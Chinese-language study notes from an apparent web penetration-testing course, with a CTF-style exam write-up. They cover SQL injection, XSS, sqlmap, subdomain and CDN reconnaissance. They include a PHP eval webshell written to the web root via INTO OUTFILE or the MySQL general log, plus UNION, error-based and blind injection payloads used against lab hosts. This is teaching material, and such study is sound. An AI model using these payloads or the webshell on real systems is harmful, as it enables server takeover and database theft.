day26_kls

课程内容

sql注入写webshell

写文件

SELECT '<!--?php @eval($_POST["cmd"]); ?-->' INTO OUTFILE '/var/www/html/shell.php';

利用条件

secure-file-priv为空或为能够访问到的目录

sql注入日志写webshell

开启mysql日志记录

set GLOBAL general_log = on;

修改mysql的基础日志文件保存位置/var/www/html/xxxx.php

set GLOBAL general_log_file = "/var/www/html/6666.php";

xss

分类

反射型

存储型

dom型

xxe

原因

后端未经严格验证导致用户可控的输入传给前端,造成输入被解析为js

危害

窃取用户敏感信息

劫持浏览器

记录用户输入

挖掘

白盒

黑盒

bp一顿扫

利用

反射型

通过短链接的方式让用户执行恶意script

存储型

等待被害者上钩

dom型

同反射型

常用payload

![](xxx)

防御

上waf

前端过滤

后端过滤

绕过防御

day25_kls

sql注入

分类

依据获取信息的方式分类

联合查询注入

报错注入

盲注

布尔

时间

特殊注入

宽字节注入

二次编码注入

二阶注入

堆叠注入

其他类型的注入

值得注意的是,挖这一类要小心再小心,不然慧翅捞饭的

insert

update

delete

原因

用户可控的输入未经严格过滤拼接到了sql中,导致恶意sql被执行

危害

信息泄漏

信息篡改

远程控制,木马

挖掘

手动测试的一般步骤

实现网站正常功能

测试闭合符号

注入

报敏感信息

利用

mysql

元数据

information_schema

schmata

schema_name数据库名

tables

table_name表名

columns

column_name列名

数据库

SELECT NULL, schema_name FROM information_schema.schemata–

表名

SELECT NULL, table_name FROM information_schema.tables WHERE table_schema = ‘your_database_name’–

列名

SELECT NULL, column_name FROM information_schema.columns WHERE table_name = ‘your_table_name’–

查询注入点列数

group by 2 –

查找回显位

union select 1,2,3,4

常用函数

USER()

CONCAT()

CURRENT_USER()

VERSION()

报错注入

foor

updatexml(1,concat(1,(sql)),1)

extractvalue(0x0a,concat(0x0a,(sql)))

盲注用

SUBSTRING()

LEFT()

CHAR_LENGTH()

LENGTH()

ASCII()

防御

白名单

只允许用户传入变量为某些特定值,如只允许数字

黑名单

过滤恶意字符

pdo预处理

绕过防御

SQL注入针对关键字过滤的绕过技巧 zu1k

week5_kls_exam

题目1

题目提示了,mysql密码中有好东西。但是俺不,抓个登陆包,啥也不看,闭眼一把梭

呜呜呜,梭哈失败了,但是俺使用目录扫描扫到了一些奇怪的东西。

image.png

有gayhub泄漏,使用githack恢复一下

image.png

从git中恢复出了configuration.php
id:: 675bce82-733f-481c-9194-f306dd066aab

image.png

password中有flag

flag{9c233764285d9a7ef4a10b8b7daa7e7b}

题目1解法2

本题不像是手写的,应该是框架(确信

康康是用啥写的

image.png

very good

整个扫描器扫扫。

GitHub OWASP/joomscan: OWASP Joomla Vulnerability Scanner Project https://www.secologist.com/

image.png

没多少信息,不过能够看到版本号

一番搜索

该版本存在信息泄漏,能整出来数据库密码。auv,这不巧了吗。数据库密码里有好东西。正好有exp,让俺运行一下

GitHub Acceis/exploit-CVE-2023-23752: Joomla! < 4.2.8 Unauthenticated information disclosure

image.png

题目2

题目让俺一把梭,俺抓个搜索包,开始梭哈。

啥也不看,闭眼一把梭

image.png

timu2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 192.168.2.214:10001
Content-Length: 13
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.2.214:10001
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.2.214:10001/
Accept-Encoding: gzip, deflate, br
Cookie: 0350c45adcb555161a8b854c66b9ecff=104f9d1c7c5f921e0bc2588d85c27b1f
Connection: keep-alive
student_id=12

第一次梭哈

image.png

获得flag

flag{c056164f914401826083b48d17a9a675}

题目3

什么,你有sql注入,还有这好事?!抓个搜索包,开始梭哈。

啥也不看,闭眼一把梭

image.png

timu3

1
2
3
4
5
6
7
8
9
10
GET /?search=12 HTTP/1.1
Host: 192.168.2.214:10002
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.2.214:10002/
Accept-Encoding: gzip, deflate, br
Cookie: 0350c45adcb555161a8b854c66b9ecff=104f9d1c7c5f921e0bc2588d85c27b1f
Connection: keep-alive

第一次梭哈,第二次梭哈

image.png

flag

flag{c056164f914401826083b48d17a9a675}

题目4

有限制的sql注入?!,抓个登陆包,开始梭哈

啥也不看,闭眼一把梭

image.png

timu4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 192.168.2.214:10003
Content-Length: 29
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.2.214:10003
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.2.214:10003/
Accept-Encoding: gzip, deflate, br
Cookie: 0350c45adcb555161a8b854c66b9ecff=104f9d1c7c5f921e0bc2588d85c27b1f
Connection: keep-alive
username=admin&password=admin

第一次梭哈,第二次梭哈,第三次梭哈

image.png

flag{hello_flag}

day24_kls

课程内容

sqlmap使用

简单用法

sqlmap -u url

常用参数

-p xx选择参数

--batch使用sqlmap的默认策略

--flush-session强制刷新缓存

--dbms指定数据库类型

-v详情信息

--tech TYPE教sqlmap做事,让他使用你指定的注入类型

sqlmap中的注入类型

B布尔盲注

E报错注入

U联合查询注入

S堆叠注入

T时间盲注

Q内联注入

发现相关

--level等级,越高探测的内容越多

--rask风险,越高对目标伤害越高

代理

--proxy

利用

--sql-shell交互式进入sql-shell

宽字节注入

gbk编码由两个字节作为一个字符,后端开发者处理时没有正确的将gbk编码的字符过滤,但是mysql会将%df%27认为是%df'

要求编码必须为gbk

二次编码

后端开发者在过滤sql时错误的进行了编码,在对即将执行的sql语句进行了编码。例如将%2527变为了%27,在传入sql后,数据库将%27解析为',从而让攻击者绕过了后端程序对某些特殊字符的过滤。

二阶注入

多个接口间存在关联关系,开发者过于信任来源于数据库的信息,导致恶意的sql被拼接执行。

堆叠注入

一般出现在asp+sqlserver组合中。使用;进行多个sql语句的执行

insert,update,delete注入

注意闭合符号的判断。

sql注入并非仅存在于查询,插入更新删除也会存在。

注意,在不了解sql语句的执行逻辑前,谨慎做这些类型的sql注入。不然你会和凡凡一起踩缝纫机,喜提银手镯一对。

day23_kls

课程内容

sql注入之报错注入

原理:通过回显错误夹带信息。

报错注入常用函数

updatexml(1,concat(1,(sql)),1)

extractvalue(0x0a,concat(0x0a,(sql)))

sql注入之盲注

站点存在sql注入,但既不报错也不返回信息。通过猜测每个字段的每个值获取信息。

此时可以通过' and sleep(1)来判断是否存在sql注入

盲注常用函数

SUBSTRING()

LEFT()

CHAR_LENGTH()

LENGTH()

ASCII()

sqlmap

梭哈,梭哈,梭哈,梭哈

简单用法

1
2
# 简单的用法 -p 指定注入参数
sqlmap -u https://host?param=xxx -p param

进阶用法

是否厌倦了复杂的cookie填写,header填写。没有关系,我来帮你

找到牛栏器,找到请求,右键复制请求头。然后把它扔到一个文件里。如果你有请求体,那么请到请求体的地方,选择查看原始内容,复制过来,扔到刚才的文件的最下面,记得添加请求空行

利用

常用参数

1
2
3
4
5
6
7
8
# 当前数据库
--current-db
# 当前用户
--current-user
# 数据库信息
--banner
# 数据库名
--dbs

dump相关参数

1
2
3
4
5
6
# 拖库基础选项
--dump
# 拖库表列
--dbs --tables --columns
# 指定库表列,用于细粒度拖库
-D -T -C

day22_kls

课程内容

数据库(mysql)

数据库备份

1
mysqldump -u username -p database_name > backup_file.sql

数据库恢复

1
mysql -u username -p database_name < backup_file.sql

漏洞学习方法

如何产生的

会产生何种危害

如何挖掘

如何利用

如何防御,如何修复

如何绕过防御

sql注入

产生的原因

开发者没有对传入数据进行严格的校验过滤,导致恶意sql语句被拼接到sql语句中执行。

危害

泄漏信息,控制目标服务器。

挖掘

白盒

查看可控参数是否被严格过滤。

黑盒

扫描器测试所有参数。

手工测试:寻找可能与数据库交互的参数

利用

利用

mysql

元数据

information_schema

数据库

UNION SELECT NULL, schema_name FROM information_schema.schemata–

表名

UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema = ‘your_database_name’–

列名

UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = ‘your_table_name’–

查询注入点列数

group by 2 –

查找回显位

union select 1,2,3,4

常用函数

USER()

CONCAT()

CURRENT_USER()

VERSION()

盲注用

SUBSTRING()

CHAR_LENGTH()

LENGTH()

ASCII()

黑盒测试之手工注入

注入点测试

闭合符号,',",)

报错测试

将闭合符号拼接到

and测试

需要有正确的值,拼接后输入正确的值,服务器仍能返回与之前相同的内容

or测试

' or 1=1

sleep测试

' or sleep(3)

分类

image.png

day21_kls

课程内容

信息收集dirsearch

dirsearch会收集什么东西

源代码备份文件,路径等敏感信息

1
python dirsearch.py -u url

信息收集之git泄漏

当发现了.git泄漏时,需要使用一些工具进行恢复

githack

1
python GitHack.py url

java信息泄漏

actuator信息泄漏

接口文档泄漏

JDumpSpider敏感信息提取工具

如果你获得了heapdump

可以使用这款工具来提取其敏感信息

1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

信息泄漏之burpsuite插件

RouteVulScan

这款插件可以帮自动扫描路径,可以自己手动配置规则

HaE

这款插件提供了敏感信息收集,手机号码、邮箱、api、等等,也提供了规则配置。提供了高亮,非常好用

信息泄漏之前端代码

通过前端寻找后端接口等敏感信息。

浏览器插件findsomething

点击即用

企业信息收集

收集企业资产,主要内容:网站、app、公众号、小程序

常用的信息收集网站:

  1. 爱企查

  2. 企查查

  3. 小蓝本

  4. 阿拉丁

其他途径

微信搜索

搜狗等国内搜索引擎

app收集途径

7麦网

快速入门php

一个简单的html+php登陆逻辑实现

html代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<!-- 登陆到login.php-->
<form action="login.php" method="post">
用户名:<input type="text" name="username"><br>
密码:<input type="text" name="password"><br>
<input type="submit" value="提交"></input>
</form>
<form action="login.php" method="get">
用户名:<input type="text" name="username"><br>
密码:<input type="text" name="password"><br>
<input type="submit" value="提交"></input>
</form>
</body>
</html>

php代码2

1
2
3
4
5
6
7
<?php $username = $_GET['username'];
$password = $_GET['password'];
if ($username == "admin" && $password == "admin") {
echo "Login Success";
} else {
echo "Login Failed";
} ?>

day19_kls

课程内容

oneforall

OneForAll | Hexo

cdn

Content Delivery Network,内容分发网络。

为了优化用户浏览体验,厂商将静态资源通过cdn分发。

如何确定目标使用了cdn

nslookup&&dig

通过解析查看解析出的ip个数或通过cname记录简单判断

如果目标域名解析出了多个ip,目标可能使用了cdn

如果目标的域名解析有cname且指向了cdn运营商,目标使用了cdn。如果没有指向cdn运营商,也不一定能确定目标没有使用cdn

image.png

image.png

多地ping

如果解析出的目标ip不同,且存在地理趋向,即可初步认为其使用了cdn

image.png

cdn对渗透测试的影响

影响目标识别

流量过滤和 WAF 防护

限制 DDoS 和暴力破解攻击

隐藏真实资产和业务逻辑

绕过cdn

dns历史记录(不一定能用)

通过特殊手段让目标的cdn欠费,失效(难度大)

旁站(仅限于主站与旁站在同一服务器上,且仅主站使用了cdn)

mx记录(限于邮件服务器与主站在一起的时候)

扫c段(旁站c段可能存在)

验证是否绕过了cdn

查看网页源代码

通过cdn运营商的查询接口(阿里云等)

指纹识别

确定目标运行的操作系统、服务、开放端口、软件版本及其相关特性。便于寻找漏洞。

ip探活&&端口扫描&&指纹识别工具

nmap

老牌ip探活、端口扫描、指纹识别、漏洞扫描等等。面试喜欢问

goby

强大的扫描工具,漏洞扫描等功能,点点就会用

kscan

go编写的,快速。ip探活、端口扫描、指纹识别。作者断更了,但是很好用

AlliN

一个由py编写的小巧工具,无需安装任何依赖,有py就能运行。非常适用于渗透前资产收集和渗透后内网横向移动。

observer_ward

对标AlliN的go编写的工具。适用于内网横向移动等场景。

EHole

暂无。

思考&&todo

go

nmap使用(面试bushi)

信息收集相关

OneForAll

下载

该工具是使用py写的,这里仅介绍在linux的安装方法

手动安装

对python版本有要求,如果安装失败可以选择使用docker

1
2
3
git clone https://github.com/shmilylty/OneForAll
cd OneForAll
pip install -r requests.txt

docker

官方提供了dockerfile,我们可以选择构建docker镜像使用

1
2
3
git clone https://github.com/shmilylty/OneForAll
cd OneForAll
docker build -t onforall:latest .

用途

用于信息收集中的子域名信息收集

使用

在使用前建议去配置一下api,请参考配置

一个简单的使用案例

1
python3 oneforall.py --target example.com run

docker运行配置

对于使用docker的用户,运行OneForAll可能需要映射一些数据卷,比如configresult

编写一个简单的shell脚本,映射数据卷,并将入参全部传给docker run

1
2
#!/bin/bash
docker run -v `realpath ~/tools/OneForAll/config`:/OneForAll/config -v `realpath ~/tools/OneForAll/result`:/OneForAll/result --rm oneforall:4.5 $@

使用时这样:

run.sh --target example.com run

配置

配置文件在OneForAll/config

image.png

配置中有中文注释,非常舒服。

api

这里存放着各类api,有些查询站点不添加api不能使用,或是只能查询一部分

default

这里存放着默认配置,好像是setting.py+api.py,但实际不是,setting中的一些配置这里没有,这里有些配置setting中没有。

setting

这里放着自定义配置,代理,模块启用等等

对于相同的配置,实际上俺也不知道他会生效哪一个,default优先还是其他配置文件优先

参考

GitHub shmilylty/OneForAll: OneForAll是一款功能强大的子域收集工具